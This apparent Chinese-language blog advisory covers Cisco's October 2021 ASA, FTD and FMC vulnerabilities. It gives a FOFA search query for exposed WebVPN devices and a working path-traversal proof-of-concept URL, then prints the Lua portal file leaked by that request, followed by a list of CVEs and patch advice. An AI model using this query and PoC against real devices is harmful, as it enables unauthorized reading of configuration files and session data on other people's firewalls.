CVE-2021-40116|CVE-2021-34783等——Cicso多个安全漏洞
漏洞概述
2021年10月27日,Cisco发布安全公告,修复了Cisco Firepower 威胁防御 (FTD)、Cisco思科自适应安全设备 (ASA)和Firepower 管理中心 (FMC)中的多个安全漏洞。
CISCO ASA远程任意文件读取
Cisco Adaptive Security Appliance (ASA)是思科的一种防火墙设备。
Cisco Adaptive Security Appliance (ASA)防火墙设备以及Cisco Firepower Threat Defense(FTD)设备的web管理界面存在未授权的目录穿越漏洞和远程任意文件读取漏洞。攻击者只能查看web目录下的文件,无法通过该漏洞访问web目录之外的文件。该漏洞可以查看webVpn设备的配置信息,cookies等。
影响版本
Cisco ASA 设备影响版本:
<9.6.1
9.6 < 9.6.4.42
9.71
9.8 < 9.8.4.20
9.9 < 9.9.2.74
9.10 < 9.10.1.42
9.12 < 9.12.3.12
9.13 < 9.13.1.10
9.14 < 9.14.1.10
Cisco FTD设备影响版本:
6.2.2
6.2.3 < 6.2.3.16
6.3.0 < Migrate to 6.4.0.9 + Hot Fix or to 6.6.0.1
6.4.0 < 6.4.0.9 + Hot Fix
6.5.0 < Migrate to 6.6.0.1 or 6.5.0.4 + Hot Fix (August 2020)
6.6.0 < 6.6.0.1
漏洞复现
FOFA语法
“webVpn”
POC
https://<domain>/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../
-- Copyright (C) 2006-2014 by Cisco Systems, Inc.
-- Created by otrizna@cisco.com
ADD_HTTP_RESP_HEADER("X-Frame-Options", "SAMEORIGIN");
dofile("/+CSCOE+/include/common.lua")
dofile("/+CSCOE+/include/browser_inc.lua")
local function compare(a,b) return a["order"]<b["order"] end;
function INTERNAL_PASSWORD_ENABLED(name)
return false;
end
function CONF_VIRTUAL_KEYBOARD(name)
return false;
end
no_inheritance = false
custom_profile=""
asdm_custom_file = ""
function SetSessionData(index,name,value)
local f1
f1=io.open("/sessions/"..index.."/session_data","w")
if f1 then
io.set_metadata_int(f1,name,value)
f1:close()
end
end
function GetSessionData(index,name,value)
local f1
f1=io.open("/sessions/"..index.."/session_data","r")
if f1 then
local ret = io.get_metadata_int(f1,name)
f1:close()
return ret
end
return nil
end
function xValue(value)
if value then
local ret = string.gsub(value,"\"",""")
OUT(" value=\""..ret.."\"")
end
end
function sHTML(value)
if value then
ret = string.gsub(value,"&","&")
ret = string.gsub(ret,"<","<")
ret = string.gsub(ret,">",">")
return ret
end
return nil
end
function explode(str,delim)
local ret={}
for val in string.gfind(str,"[^"..delim.."]+") do
table.insert(ret, val)
end
return ret
end
function GetUrlLists()
local url_list_name
local url_lists = {}
local url_lists_str = SESSION_URL_LISTS()
for url_list_name in string.gfind(url_lists_str,"[^,]+") do
table.insert(url_lists, url_list_name)
end
return url_lists
end
function socket_url_parse(url, default)
-- initialize default parameters
local parsed = {}
for i,v in pairs(default or parsed) do parsed[i] = v end
-- empty url is parsed to nil
if not url or url == "" then return nil, "invalid url" end
-- remove whitespace
-- url = string.gsub(url, "%s", "")
-- get fragment
--[[
url = string.gsub(url, "#(.*)$", function(f)
parsed.fragment = f
return ""
end)
--]]
-- get scheme
url = string.gsub(url, "^([%w][%w%+%-%.]*)%:",
function(s) parsed.scheme = s; return "" end)
-- get authority
url = string.gsub(url, "^//([^/%?]*)", function(n)
parsed.authority = n
return ""
end)
-- get query stringing
url = string.gsub(url, "%?(.*)", function(q)
parsed.query = q
return ""
end)
-- get params
url = string.gsub(url, "%;(.*)", function(p)
parsed.params = p
return ""
end)
-- path is whatever was left
if url ~= "" then parsed.path = url end
local authority = parsed.authority
if not authority then return parsed end
authority = string.gsub(authority,"^([^@]*)@",
function(u) parsed.userinfo = u; return "" end)
local ipv6 = false
if(string.sub(authority,1,1) == "[") then
authority = string.gsub(authority,"^%[(.-)%]",
function(u) parsed.host = u; ipv6 = true; return "" end)
end
authority = string.gsub(authority, ":([^:]*)$",
function(p) parsed.port = p; return "" end)
if authority ~= "" and not ipv6 then parsed.host = authority end
local userinfo = parsed.userinfo
if not userinfo then return parsed end
userinfo = string.gsub(userinfo, ":([^:]*)$",
function(p) parsed.password = p; return "" end)
parsed.user = userinfo
return parsed
end
function ParseURL(url)
local durl = {
url = "",
scheme = "",
authority = "",
path = "",
params = "",
query = "",
fragment = "",
userinfo = "",
host = "",
port = "",
user = "",
password = ""
}
local nurl = socket_url_parse(url, durl)
return nurl.scheme,nurl.host,nurl.port,nurl.path .. (((nurl.query or "") ~= "" and ("?"..nurl.query)) or "")
end
function GetAppInfo(apps)
local protocol={}
local app_info={}
for _,app in apps do
app_info[app["id"]] = app
if nil ~= app["protocol"] and app["mode"] ~= "disable" then
for p in string.gfind(app["protocol"] or "","[%w]+") do
protocol[p]=app["id"]
end
end
end
return app_info,protocol
end
function GetLogonFields()
local fields= {{id="group",name="Group",order=100},
{id="username",name="Username",order=200},
{id="password",name="Password",order=300},
{id="internal-password", name="Internal Password",order=400},
{id="secondary-username", name="Second Username",order=500},
{id="secondary-password", name="Second Password",order=600}}
for i,fld in ipairs(fields) do
local order = CUSTOM("auth-page/form-order/"..fields[i]["id"])
if fld["id"]=="internal-password" and
(not order or order == "") and
CUSTOM("auth-page/logon-form/internal-password-first") == "yes" then
order = 250 -- backward compatibility with the old customization setting
end
if (order and order ~= "") then fld["order"]=tonumber(order) end
end
table.sort(fields,function (a,b) return a["order"] < b["order"] end)
return fields
end
function LOAD_URL_LIST(name,absolute_path,bookmark_number)
local f
local ret={}
local sso_enabled=0;
local name_md5 = MD5(name)
if absolute_path and "" ~= absolute_path then
f=io.open(absolute_path,"r")
else
f=io.open("/bookmarks/"..name_md5,"r")
end
if not f then return {} end
local function get_value(value)
if not value then return nil end
if string.len(value) == 0 then return "" end
return string.sub(value,2)
end
local path = "/url-list/"
local function lget_value(textdomain,value)
if nil == value then return nil end
if string.len(value) == 0 then return "" end
if string.sub(value,1,1) == '+' then
if string.len(value) > 1 then
return gettext.dgettext(textdomain,string.sub(value,2))
else
return ""
end
else
return string.sub(value,2)
end
end
ret["list"] = name_md5
ret["title"] = lget_value("url-list",io.get_metadata_str(f,path.."title"))
ret["favorite"] = get_value(io.get_metadata_str(f,path.."favorite"));
ret["bookmark"]={}
local i = bookmark_number or 1
while true do
local path = "/url-list/bookmark/"..i.."/"
local url = get_value(io.get_metadata_str(f,path.."url"));
if nil ~= url then
ret["bookmark"][i]={}
ret["bookmark"][i]["n"]=i
ret["bookmark"][i]["list"] = name_md5
ret["bookmark"][i]["id"] = get_value(io.get_metadata_str(f,path.."id"))
ret["bookmark"][i]["favorite"] = get_value(io.get_metadata_str(f,path.."favorite"))
ret["bookmark"][i]["title"] = lget_value("url-list",io.get_metadata_str(f,path.."title"))
ret["bookmark"][i]["method"] = get_value(io.get_metadata_str(f,path.."method"))
ret["bookmark"][i]["subtitle"] = lget_value("url-list",io.get_metadata_str(f,path.."subtitle"))
ret["bookmark"][i]["thumbnail"] = lget_value("url-list",io.get_metadata_str(f,path.."thumbnail"))
ret["bookmark"][i]["smart-tunnel"] = get_value(io.get_metadata_str(f,path.."smart-tunnel"))
ret["bookmark"][i]["window"] = get_value(io.get_metadata_str(f,path.."window"))
ret["bookmark"][i]["wait-time"] = get_value(io.get_metadata_str(f,path.."wait-time"))
ret["bookmark"][i]["preload-page-url"] = get_value(io.get_metadata_str(f,path.."preload-page-url"))
ret["bookmark"][i]["pre-login-page-url"] = get_value(io.get_metadata_str(f,path.."pre-login-page-url"))
ret["bookmark"][i]["control-id"] = get_value(io.get_metadata_str(f,path.."control-id"))
ret["bookmark"][i]["before-post-script"] = get_value(io.get_metadata_str(f,path.."before-post-script"))
-- injected form submit
ret["bookmark"][i]["injected-form-submit"] = get_value(io.get_metadata_str(f,path.."injected-form-submit"))
ret["bookmark"][i]["pre-login-page-url"] = get_value(io.get_metadata_str(f,path.."pre-login-page-url"))
ret["bookmark"][i]["control-id"] = get_value(io.get_metadata_str(f,path.."control-id"))
ret["bookmark"][i]["login-page-url"] = get_value(io.get_metadata_str(f,path.."login-page-url"))
ret["bookmark"][i]["landing-page-url"] = get_value(io.get_metadata_str(f,path.."landing-page-url"))
ret["bookmark"][i]["form-id"] = get_value(io.get_metadata_str(f,path.."form-id"))
ret["bookmark"][i]["post-param"] = {}
url = get_value(io.get_metadata_str(f,path.."url"))
url = substitute_macro(url,false)
-- Normalize CIFS URLs (cifs://\\host/...)
if(string.sub(url,1,9)=="cifs://\\\\") then
url="cifs://"..(string.sub(url,10) or "")
url=string.gsub(url,"\\","/")
end
ret["bookmark"][i]["url"] = url
if string.find(ret["bookmark"][i]["url"], "csco_sso=1") then
sso_enabled=1;
end
local j=1
while true do
local path = "/url-list/bookmark/"..i.."/post-param/"..j.."/"
local name = get_value(io.get_metadata_str(f,path.."name"))
if nil ~= name then
ret["bookmark"][i]["post-param"][j]={}
ret["bookmark"][i]["post-param"][j]["name"] = get_value(io.get_metadata_str(f,path.."name"))
ret["bookmark"][i]["post-param"][j]["value"] = get_value(io.get_metadata_str(f,path.."value"))
else
break
end
j=j+1
end
else
break
end
-- if loading just one bookmark from the list
if bookmark_number then
break
end
i=i+1
end
f:close()
local sso = io.open("sessions/"..SESSION_INDEX().."/sso","w")
if sso then
if 1 == sso_enabled then
-- allow sso call
io.set_metadata_str(sso, "allowed", "yes")
end
sso:close()
end
return ret
end
function post_params2js_array(bookmark)
return "[{ 'l' : '"..(bookmark["list"] or "").."', 'n' : "..(bookmark["n"] or "0").."}]"
--[[
local post_params="null"
if table.getn(bookmark["post-param"])>0 then
post_params = "["
for i,prm in bookmark["post-param"] do
local name
name = string.gsub(prm["name"],"'","\\'") or "";
name = string.gsub(name,"\\","\\\\") or "";
local value
value = string.gsub(prm["value"],"'","\\'") or "";
value = string.gsub(value,"\\","\\\\") or "";
post_params = post_params ..(((i>1) and ",") or "" ) .. "{name : '"..name.."', value : '"..value.."'}"
end
post_params = post_params.."]"
end
return post_params
--]]
end
function show_bookmarks()
end
function BookmarkApplyACL(bookmark,proto,host,port,path,defports,otherports)
if (port ~= nil and port ~= "") then
bookmark["enabled"],bookmark["dns_error"] = SESSION_CHECK_URL(proto,host,port,path);
else
--check default port
if (defports[proto]) then
bookmark["enabled"],bookmark["dns_error"] = SESSION_CHECK_URL(proto,host,defports[proto],path);
end
--check other ports, if there are any
if (otherports[proto]) then
local i, p = next(otherports[proto])
while (i and bookmark["enabled"]) do
bookmark["enabled"],bookmark["dns_error"] = SESSION_CHECK_URL(proto,host,p,path)
i, p = next(otherports[proto], i)
end
end
end
end
function BookmarkApplySupportCheck(bookmark)
if (bookmark["method"] == "post" and bookmark["smart-tunnel"] == "yes" and browser_info.os ~= "Windows") then
bookmark["support_error"] = 1
bookmark["enabled"] = false
end
end
function GROUP_SELECTOR_ENABLED()
return true;
end
function print_tree(s,d)
if(nil == d) then d = 0 end
if(nil == s) then OUT("nil");return end
for k,v in s do
OUT(string.rep(" ",d*5)); OUT(k);
if(type(v)=="table") then
OUT("<BR>");
print_tree(v,d+1)
else
if(type(v)=="boolean") then
if v then OUT( "#true") else OUT(" #false") end
OUT("<br>")
else
if(type(v)=="function") then
OUT("= (function)<br>")
else
OUT("="..v.."<BR>");
end
end
end
end
end
function mangle_url(str)
local s,e,p
local path;
if nil == str then return "/+CSCOE+/blank.html" end
s, e = string.find(str,"http[s]?://([^/?]+)")
if(s ~= nil) then
p = ((string.sub(str,e+1,e+1) == "/") and e+1 ) or e
path = string.sub(str,p+1);
return '/+CSCO+00'..ROT13STR2HEX(string.sub(str,1,e))..'++/'..path;
end
end
function get_applications(no_session_check)
--
-- This function may be used in context where there is no webvpn session (for example Customization Editor)
-- Use if(not no_session_check) in places where you retrieve session data
--
local c_app = {};
local n1 = 0
local n2 = 0
local i = 0;
local lang
if is_asdm then
lang = "en"
else
lang = get_selected_language()
end
-- Stock applications
local app = {}
i=i+1
app[i]={}
app[i]["tab-title"] = L("Home")
app[i]["id"] = "home"
app[i]["order"] = i*1000
i=i+1
app[i]={}
app[i]["tab-title"] = L("Web Access")
app[i]["id"] = "web-access"
app[i]["protocol"] = "http,https"
app[i]["default-port"] = "80,443"
app[i]["url-list-title"] = L("Web Bookmarks")
app[i]["order"] = i*1000
i=i+1
app[i]={}
app[i]["tab-title"] = L("File Access")
app[i]["id"] = "file-access"
app[i]["protocol"] = "cifs,ftp"
app[i]["default-port"] = "138,21"
app[i]["other-port"] = {cifs = {"139"}}
app[i]["url-list-title"] = L("File Bookmarks")
app[i]["order"] = i*1000
i=i+1
app[i]={}
app[i]["tab-title"] = L("Application Access")
app[i]["id"] = "app-access"
app[i]["url-list-title"] = L("File Bookmarks")
app[i]["order"] = i*1000
i=i+1
app[i]={}
app[i]["tab-title"] = L("AnyConnect")
app[i]["id"] = "net-access"
app[i]["order"] = i*1000
if IS_TARGET_UNICORN then
i=i+1
app[i]={}
app[i]["tab-title"] = L("Terminal Servers")
app[i]["id"] = "rdp"
app[i]["order"] = i*1000
app[i]["protocol"] = "rdp"
app[i]["default-port"] = "800"
app[i]["type"] = "1"
end
-- Plugins
local a = lfs.attributes("/plugin")
if a and a.mode == "directory" then
for fname in lfs.dir ("/plugin") do
if fname ~= "." and fname ~= ".." then
local f=io.open("/plugin/"..fname.."/index.html","r")
if f then
i=i+1
app[i]={}
app[i]["tab-title"] = io.get_metadata_str(f,"tab-title")
app[i]["url-list-title"] = io.get_metadata_str(f,"bookmark-title")
if lang and lang ~= "en" and lang ~= "en-us" then
app[i]["tab-title"] = io.get_metadata_str(f,lang..":tab-title") or app[i]["tab-title"]
app[i]["url-list-title"] = io.get_metadata_str(f,lang..":bookmark-title") or app[i]["url-list-title"]
end
app[i]["id"] = io.get_metadata_str(f,"id")
app[i]["protocol"] = io.get_metadata_str(f,"protocol")
-- TODO facilitate default port from plugin's manifest
local p_protocol = {}
for s in string.gfind(app[i]["protocol"],"[%w]+") do
table.insert(p_protocol,"0")
end
app[i]["default-port"] = table.concat(p_protocol,",")
app[i]["type"] = "1"
app[i]["order"] = i*1000
f:close()
end
end
end
end
c_app = CUSTOM_OBJECTS("/custom/portal/application",{{"id",false},{"order",false},{"tab-title",true},{"url-list-title",true},{"mode",false}})
n1= table.getn(c_app);
n2= table.getn(app);
for i1 = 1,n1,1 do
for i2 = 1,n2,1 do
if(app[i2]["id"] == c_app[i1]["id"]) then
if(nil ~= c_app[i1]["order"]) then app[i2]["order"] = tonumber(c_app[i1]["order"]); end;
if(nil ~= c_app[i1]["tab-title"]) then app[i2]["tab-title"] = c_app[i1]["tab-title"]; end;
if(nil ~= c_app[i1]["mode"]) then app[i2]["mode"] = c_app[i1]["mode"]; end;
if(nil ~= c_app[i1]["url-list-title"]) then app[i2]["url-list-title"] = c_app[i1]["url-list-title"]; end;
end;
end;
end;
if not no_session_check then
local ua = HTTP_HEADER_BY_NAME('user-agent')
local stapps = ""
if (ua and string.find (ua, "Macintosh")) then
stapps = SESSION_GET_SMART_TUNNELED_APPS("mac")
--[[
elseif (ua and string.find (ua, "Linux")) then
stapps = SESSION_GET_SMART_TUNNELED_APPS("linux")
--]]
elseif (ua) then
stapps = SESSION_GET_SMART_TUNNELED_APPS("windows")
end
local no_smart_tunnel = stapps == ""
for i2 = 1,n2,1 do
if (app[i2]["id"] == "net-access" and not (SESSION_ANYCONNECT_ENABLED() and SESSION_ANYCONNECT_CONFIGURED())) or (app[i2]["id"] == "app-access" and not (SESSION_FEATURE_ENABLED("port-forwarding")) and no_smart_tunnel) then
app[i2]["mode"] = "disable"
end
end
end
table.sort(app,compare);
return app;
end;
function GetColumns()
local cols = CUSTOM_OBJECTS("/custom/portal/column",{{"width",false,"percent"},{"order",false,nil,"0"}})
local function s(a,b)
return tonumber(a["order"])<tonumber(b["order"])
end
if table.getn(cols) == 0 then
return {{width="100",order="0",pane={}}}
end
table.sort(cols,s)
for _,col in cols do
col["pane"]={}
end
return cols
end
function CUSTOM_OBJECTS(path,fields)
local f
local ret
id = fields[1][1]
local first_item = path.."/1/"..id
if "" ~= asdm_custom_file then
f=io.open(asdm_custom_file,"r")
else
f=io.open("/customization/"..MD5(custom_profile),"r")
end
if nil == f then return {} end
ret = {}
for i=1,10000,1 do
ptype = io.get_metadata_str(f,path.."/"..i.."/"..id)
if nil == ptype then break end
ret[i]= {}
for _,fname in fields do
local name = fname[1]
local can_localize = fname[2]
local type = fname[3]
local def_value = fname[4]
ret[i][name] = io.get_metadata_str(f,path.."/"..i.."/"..name)
if ret[i][name] and string.len(ret[i][name]) > 1 then
if type then
if type == "number" then
ret[i][name] = tonumber(string.sub(ret[i][name],2))
end
if type == "percent" then
ret[i][name] = string.gsub(ret[i][name],"%%"," ")
ret[i][name] = tonumber(string.sub(ret[i][name],2)) or 0
end
else
local localize = string.sub(ret[i][name],1,1)
if localize == "+" and can_localize then
ret[i][name] = gettext.dgettext("customization",string.sub(ret[i][name],2))
else
ret[i][name] = string.sub(ret[i][name],2)
end
end
else
ret[i][name] = def_value
end
end
end
f:close()
return ret
end
function CUSTOM(param,default,localize)
local f;
local function file_name()
if "" ~= asdm_custom_file then
return(asdm_custom_file)
else
return "/customization/"..MD5(custom_profile)
end
end
f=io.open(file_name(),"r")
if not f then return default end
local s = io.get_metadata_str(f,"/custom/"..param);
f:close()
if s and string.len(s)>1 then
local localize = string.sub(s,1,1)
if localize == "-" then
return string.sub(s,2)
else
return gettext.dgettext("customization",string.sub(s,2))
end
function SESSION_GET_ID (token)
local session = nil
if nil == token then
return session;
end
local name = "/sessions/" .. token
local a = lfs.attributes (name)
if a and a.mode == "file" then
local fp = io.open (name, "r")
if nil ~= fp then
session = fp:read ("*all")
fp:close ()
os.remove (name)
end
end
return session
end
function GetGroupCustomization(gr,param,default)
local custom_profile = CONF_TUNNEL_GROUP_CUSTOM_PROFILE(gr) or "DflCustomization"
if custom_profile == "" then custom_profile = "DfltCustomization" end
local file_name = "/customization/"..MD5(custom_profile)
local f=io.open(file_name,"r")
if nil == f then return default end
local s = io.get_metadata_str(f,"/custom/"..param);
f:close()
if s and string.len(s)>1 then
local localize = string.sub(s,1,1)
if localize == "-" then
return string.sub(s,2)
else
return gettext.dgettext("customization",string.sub(s,2))
end
end
return default or ""
end
function get_macro_values(substitute_password)
local macro = {}
-- otrizna:
-- CSCO_WEBVPN_MACRO1 and CSCO_WEBVPN_MACRO2 are arbitrary strings from LDAP.
-- We use it without encoding because we do not know if it is already encoded or not
-- The corresponding macro with the _ENCODED postfix should be used to force URL encoding
local macro_without_encoding = {CSCO_WEBVPN_MACRO1 = true, CSCO_WEBVPN_MACRO2 = true}
macro["CSCO_WEBVPN_CONNECTION_PROFILE"] = SESSION_TGROUP()
macro["CSCO_WEBVPN_MACRO1"] = SESSION_MACRO(1)
macro["CSCO_WEBVPN_MACRO2"] = SESSION_MACRO(2)
macro["CSCO_WEBVPN_MACRO1_ENCODED"] = macro["CSCO_WEBVPN_MACRO1"]
macro["CSCO_WEBVPN_MACRO2_ENCODED"] = macro["CSCO_WEBVPN_MACRO2"]
macro["CSCO_WEBVPN_USERNAME"] = SESSION_USERNAME()
macro["CSCO_WEBVPN_PRIMARY_USERNAME"] = SESSION_PRIMARY_USERNAME()
macro["CSCO_WEBVPN_SECONDARY_USERNAME"] = SESSION_SECONDARY_USERNAME()
if substitute_password then
macro["CSCO_WEBVPN_PASSWORD"] = SESSION_PASSWORD()
macro["CSCO_WEBVPN_PRIMARY_PASSWORD"] = SESSION_PRIMARY_PASSWORD()
macro["CSCO_WEBVPN_SECONDARY_PASSWORD"] = SESSION_SECONDARY_PASSWORD()
macro["CSCO_WEBVPN_INTERNAL_PASSWORD"] = SESSION_INTERNAL_PASSWORD()
end
return macro, macro_without_encoding
end
function substitute_macro(string_to_expand, substitute_password,is_not_url)
local macro_values, macro_without_encoding = get_macro_values(substitute_password)
for macro,value in macro_values do
local do_not_encode = macro_without_encoding[macro]
if is_not_url or do_not_encode then
-- simply substitute the macro if it is not in URL or it does not require encoding
string_to_expand = string.gsub(string_to_expand,macro,escapegsub(value or ""))
else
string_to_expand = string.gsub(string_to_expand,macro,escapegsub((value and socket.url.escape(value)) or ""))
end
end
return string_to_expand
end
function get_external_portal()
local p = {}
p["mode"] = CUSTOM("portal/external-portal/mode")
p["method"] = CUSTOM("portal/external-portal/method")
p["url"] = CUSTOM("portal/external-portal/url")
p["preload-page-url"] = CUSTOM("portal/external-portal/preload-page-url")
p["injected-form-submit"] = CUSTOM("portal/external-portal/injected-form-submit")
p["pre-login-page-url"] = CUSTOM("portal/external-portal/pre-login-page-url")
p["control-id"] = CUSTOM("portal/external-portal/control-id")
p["login-page-url"] = CUSTOM("portal/external-portal/login-page-url")
p["landing-page-url"] = CUSTOM("portal/external-portal/landing-page-url")
p["form-id"] = CUSTOM("portal/external-portal/form-id")
p["smart-tunnel"] = CUSTOM("portal/external-portal/use-smart-tunnel")
p["wait-time"] = CUSTOM("portal/external-portal/wait-time")
p["post-param"] = CUSTOM_OBJECTS("/custom/portal/external-portal/post-param",{{"name",""},{"value",""}})
p["before-post-script"] = CUSTOM("portal/external-portal/before-post-script")
return p
end
function get_bookmark(list_md5,bookmark_number)
local p = {}
local path = "/bookmarks/"..list_md5
local list = LOAD_URL_LIST(nil,path,bookmark_number)
return list["bookmark"][bookmark_number]
end
function output_metatag()
local ua = HTTP_HEADER_BY_NAME('user-agent')
if (ua and string.find (ua, "MSIE")) then
OUT("<meta http-equiv='X-UA-Compatible' content='IE=edge'/>")
end
end
漏洞详情
在本次修复的高危漏洞中,9个为拒绝服务漏洞,3个为命令注入漏洞,以及1个目录遍历漏洞:
CVE-2021-40116:多个 Cisco 产品 Snort 规则拒绝服务漏洞(CVSS评分:8.6)
CVE-2021-34783:思科自适应安全设备软件和 Firepower 威胁防御软件基于软件的 SSL/TLS 拒绝服务漏洞(CVSS评分:8.6)
CVE-2021-34781:思科 Firepower 威胁防御软件 SSH 连接拒绝服务漏洞(CVSS评分:8.6)
CVE-2021-34752、CVE-2021-34755和CVE-2021-34756:思科 Firepower 威胁防御软件命令注入漏洞(CVSS评分:7.8)
CVE-2021-34762:思科 Firepower 管理中心软件身份验证目录遍历漏洞(CVSS评分:8.1)
CVE-2021-40117:思科自适应安全设备软件和 Firepower 威胁防御软件 SSL/TLS 拒绝服务漏洞(CVSS评分:8.6)
CVE-2021-1573、CVE-2021-34704和CVE-2021-40118:思科自适应安全设备软件和 Firepower 威胁防御软件 Web 服务拒绝服务漏洞(CVSS评分:8.6)
CVE-2021-34792:思科自适应安全设备软件和 Firepower 威胁防御软件资源耗尽拒绝服务漏洞(CVSS评分:8.6)
CVE-2021-34793:思科自适应安全设备软件和 Firepower 威胁防御软件透明模式拒绝服务漏洞(CVSS评分:8.6)
其中,CVE-2021-34755 、CVE-2021-34756和CVE-2021-34752都是Cisco FTD 中的命令注入漏洞。由于对用户提供的命令参数验证不足,攻击者可以提交恶意输入来利用这些漏洞,前2个漏洞可以导致经过身份验证的本地攻击者以root权限在受影响设备的系统上执行任意命令,CVE-2021-34752可以导致经过身份验证且具有管理权限的本地攻击者以root权限在受影响设备的系统上执行任意命令。
CVE-2021-34762是由于思科 Firepower 管理中心 (FMC) 基于Web 的管理界面对HTTPS URL 的输入验证不足,经过身份验证的远程攻击者可以通过向受影响的设备发送包含目录遍历字符序列的恶意 HTTPS 请求来利用此漏洞,最终可以在设备上读取或写入任意文件。
处置建议
目前Cisco已经发布了相关补丁,建议受影响的用户及时升级更新。
具体受影响产品及其版本和修复版本信息详见Cisco官方安全公告:
https://tools.cisco.com/security/center/publicationListing.x
- 点赞
- 收藏
- 关注作者
评论(0)